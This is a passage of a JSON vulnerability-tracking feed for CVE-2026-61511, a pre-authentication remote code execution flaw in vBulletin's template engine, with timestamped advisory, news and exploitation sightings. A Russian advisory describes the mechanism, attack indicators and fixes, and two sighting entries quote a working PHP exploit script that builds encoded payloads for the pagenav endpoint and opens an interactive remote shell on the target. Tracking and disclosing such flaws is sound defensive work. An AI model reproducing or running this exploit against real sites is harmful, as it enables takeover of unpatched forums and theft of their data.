\u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a ajax/render/pagenav \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f pagenav[pagenumber]. \u042d\u0442\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n6. \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0432\u0435\u043d\u0434\u043e\u0440\u0430.", "url": "https://t.me/cyberok_news/241"}, {"timestamp": "2026-08-06T00:00:59.023Z", "date_only": false, "value": "2026-08-06T00:00:59.023149Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberok_news/241", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "c26f2673-3411-45da-8869-b34ffb5ce6a9", "content": "\u26d4\ufe0f Pre-Auth RCE \u0432 vBulletin \u0447\u0435\u0440\u0435\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0437\u0430\u0442\u043e\u0440\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-61511 \u0432 vBulletin \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u2014 \u0431\u044b\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 27.07.2026 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043d\u044f-\u043d\u0430\u0447\u0430\u043b\u0435 \u0438\u044e\u043b\u044f 2026 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 PHP-\u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0447\u0435\u0440\u0435\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 (Pre-Auth RCE).\n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431\n\u0412 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u044b\u0435 \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0438\u043d\u0441\u0442\u0430\u043b\u043b\u044f\u0446\u0438\u0438 vBulletin \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0437\u0432\u043d\u0435. \u041d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0438\u0439 \u0440\u0438\u0441\u043a \u2014 \u0443 \u0444\u043e\u0440\u0443\u043c\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u044e\u043d\u044c\u0441\u043a\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.2.2. \u0414\u043b\u044f vBulletin Cloud, \u043f\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u0432\u0435\u043d\u0434\u043e\u0440\u0430, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u044b \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e.\n\n\ud83e\udde0 \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 vBulletin, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 vB5_Template_Runtime::runMaths() \u0432 \u0444\u0430\u0439\u043b\u0435 /includes/vb5/template/runtime.php.\n\n\u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0433\u0430 {vb:math} \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0432 PHP-\u0444\u0443\u043d\u043a\u0446\u0438\u044e eval(). \u041f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b. \u041e\u0434\u043d\u0430\u043a\u043e \u0444\u0438\u043b\u044c\u0442\u0440 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u043c: \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u043e\u0445\u043e\u0436\u0435\u0439 \u043d\u0430 phpfuck, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 PHP-\u043a\u043e\u0434 \u0438\u0437 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 ajax/render/pagenav, \u0433\u0434\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 pagenav[pagenumber] \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 {vb:math}. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 PHP-\u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f vBulletin.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u041f\u041e: vBulletin 5.x \u0434\u043e 5.7.5 \u0438 6.x \u0434\u043e 6.2.1.\n\u2022 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e: vBulletin 6.2.2; \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f 6.2.1, 6.2.0 \u0438 6.1.6.\n\u2022 \u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \n\ud83d\udd3b \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 (CVSS 3.1: 9.8 / CVSS 4.0: 9.3.)\n\u2022 \u0412\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u043c \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e ajax/render/pagenav.\n\u2022 \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 pagenav[pagenumber], \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043b\u0438\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0441\u043a\u043e\u0431\u043e\u043a \u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432\u0440\u043e\u0434\u0435 ^.\n\u2022 \u041e\u0448\u0438\u0431\u043a\u0438 PHP \u0438\u043b\u0438 vBulletin, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 eval(), {vb:math}, runMaths() \u0438\u043b\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432.\n\u2022 \u041d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0447\u0435\u0440\u043d\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430\u043f\u0443\u0441\u043a sh, bash, curl, wget, php, python, perl.\n\u2022 \u041f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, webshell, \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0445 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043d\u043e\u0432\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438\u043b\u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 vBulletin \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.2.2 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435.\n\n2. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u0435 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0441\u0432\u043e\u0435\u0439 \u0432\u0435\u0442\u043a\u0438. \u0412\u0435\u043d\u0434\u043e\u0440 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u043b \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f 6.2.1, 6.2.0 \u0438 6.1.6.\n\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 vBulletin.  \n\u0414\u043b\u044f 5.x \u0438 \u043d\u0435\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0442\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0431\u044b\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u2014 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\n4. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 vBulletin \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a ajax/render/pagenav \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f pagenav[pagenumber] \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u043d\u0446\u0430 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 PoC 27.07.2026.\n\n5. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 WAF \u043a\u0430\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043c\u0435\u0440\u0443: \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0439\u0442\u0435 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a ajax/render/pagenav \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f pagenav[pagenumber]. \u042d\u0442\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n6. \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0432\u0435\u043d\u0434\u043e\u0440\u0430.", "url": "https://t.me/cyberok_news/241", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-07T05:32:22.940Z", "date_only": false, "value": "2026-08-07T05:32:22.940Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2026-61511", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2026-08-07T06:30:23Z", "date_only": false, "value": "2026-08-07T06:30:23Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-43HG-F3WJ-J2M6", "record": "GHSA-43HG-F3WJ-J2M6", "field": "modified"}, {"timestamp": "2026-08-21T23:00:07.418Z", "date_only": false, "value": "2026-08-21T23:00:07.418683Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pphm_HackerNews/2360", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "b1a509bc-1de1-4c34-beef-1d200ce8cfd4", "content": "\ud83d\udd34 vBulletin fixes critical pre-auth RCE flaw with public exploit\n\nA critical vulnerability in the vBulletin forum software allows unauthenticated attackers to execute arbitrary PHP code through template rendering.\n\nThe security issue is tracked as CVE-2026-61511 and affects vBulletin versions in the 5.x and 6.x branches up to 5.7.5 and 6.2.1, respectively.\n\nvBulletin is a PHP-based proprietary forum platform released in 2000 and used by large online communities, gaming sites, support portals, automotive forums, tech forums, and discussion boards.", "url": "https://t.me/pphm_HackerNews/2360"}, {"timestamp": "2026-08-23T00:00:45.709Z", "date_only": false, "value": "2026-08-23T00:00:45.709277Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/pphm_HackerNews/2360", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "ddb7062c-629e-451d-bd5d-989b121e3660", "content": "\ud83d\udd34 vBulletin fixes critical pre-auth RCE flaw with public exploit\n\nA critical vulnerability in the vBulletin forum software allows unauthenticated attackers to execute arbitrary PHP code through template rendering.\n\nThe security issue is tracked as CVE-2026-61511 and affects vBulletin versions in the 5.x and 6.x branches up to 5.7.5 and 6.2.1, respectively.\n\nvBulletin is a PHP-based proprietary forum platform released in 2000 and used by large online communities, gaming sites, support portals, automotive forums, tech forums, and discussion boards.", "url": "https://t.me/pphm_HackerNews/2360", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-24T06:00:05.168Z", "date_only": false, "value": "2026-08-24T06:00:05.168285Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "62b7ba30-5fdb-4179-b146-ed2c3587a41e", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml"}, {"timestamp": "2026-08-25T01:55:48.542Z", "date_only": false, "value": "2026-08-25T01:55:48.542537Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mtupngxjno22", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "34f43d3d-cd91-497d-ba89-33689fb82837", "content": "CVE-2026-61511 is trending. Hype score 4, currently #10 on cvemon.\n\nvBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contains an eval injection vulnerability in the vB5_Template_Runtime::runMaths() method within the template runtime that allows\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-61511", "url": "https://bsky.app/profile/cvemon.bsky.social/post/3mtupngxjno22"}, {"timestamp": "2026-08-27T13:06:02Z", "date_only": false, "value": "2026-08-27T13:06:02+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2026-61511", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-27T13:06:02Z", "date_only": false, "value": "2026-08-27T13:06:02+00:00", "kind": "kev", "label": "First seen", "source": "previdian", "record": "CVE-2026-61511", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-27T13:06:02Z", "date_only": false, "value": "2026-08-27T13:06:02+00:00", "kind": "kev", "label": "Status updated", "source": "previdian", "record": "CVE-2026-61511", "field": "status.status_updated_at", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-27T13:06:02.039Z", "date_only": false, "value": "2026-08-27T13:06:02.039Z", "kind": "kev", "label": "Catalog added", "source": "previdian", "record": "CVE-2026-61511", "field": "evidence.0.details.added_date", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-28T14:00:01Z", "date_only": false, "value": "2026-08-28T14:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "previdian", "record": "CVE-2026-61511", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-08-28T14:00:51.768Z", "date_only": false, "value": "2026-08-28T14:00:51.768615Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/474b0604-d35d-480d-88df-9f74bcbd3614", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "433c50fe-ceb2-486c-8ef5-168ca00b5fa1", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/474b0604-d35d-480d-88df-9f74bcbd3614", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-02T18:00:06.231Z", "date_only": false, "value": "2026-09-02T18:00:06.231182Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/proxy_bar/3584", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "3ce9e6c5-e91f-45f4-9f20-699da391ffd9", "content": "CVE-2026-61511  vBulletin\n*\nAffected Versions\n    vBulletin 6.2.1 and prior\n    vBulletin 6.1.6 and prior\n*\nExploit\n\\n\";\n    print \"\\nExample....: php $argv[0] http://localhost/vb/\";\n    print \"\\nExample....: php $argv[0] https://vbulletin.com/\\n\\n\";\n    die();\n}\n\nfunction encodeChar($char)\n{\n    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];\n\n    $char = strval(ord($char));\n\n    $ret = '';\n    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';\n\n    return rtrim($ret, '.');\n}\n\nfunction makePayload($function, $param)\n{\n    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';\n\n    $ret = '';\n    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n    $ret = \"(\" . rtrim($ret, '.') . ')((';\n\n    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n    return rtrim($ret, '.') . '))';\n}\n\n$curl   = curl_init();\n$params = [\"routestring\" => \"ajax/render/pagenav\"];\n\ncurl_setopt($curl, CURLOPT_URL, $argv[1]);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n//curl_setopt($curl, CURLOPT_PROXY, \"http://127.0.0.1:8080\");\n\nwhile (1) {\n    print \"\\nvb-shell# \";\n    if (($cmd = trim(fgets(STDIN))) == \"exit\") break;\n    $cmd .= \"; echo _____\";\n    $params[\"pagenav[pagenumber]\"] = makePayload(\"system\", $cmd);\n    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));\n    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die(\"\\n[+] Exploit failed! :(\\n\\n\");\n}", "url": "https://t.me/proxy_bar/3584"}, {"timestamp": "2026-09-03T00:00:39.837Z", "date_only": false, "value": "2026-09-03T00:00:39.837160Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/3584", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "5cdb9fd9-d9f6-43c5-9eba-752bb2ec06e0", "content": "CVE-2026-61511  vBulletin\n*\nAffected Versions\n    vBulletin 6.2.1 and prior\n    vBulletin 6.1.6 and prior\n*\nExploit\n\\n\";\n    print \"\\nExample....: php $argv[0] http://localhost/vb/\";\n    print \"\\nExample....: php $argv[0] https://vbulletin.com/\\n\\n\";\n    die();\n}\n\nfunction encodeChar($char)\n{\n    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];\n\n    $char = strval(ord($char));\n\n    $ret = '';\n    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';\n\n    return rtrim($ret, '.');\n}\n\nfunction makePayload($function, $param)\n{\n    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';\n\n    $ret = '';\n    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n    $ret = 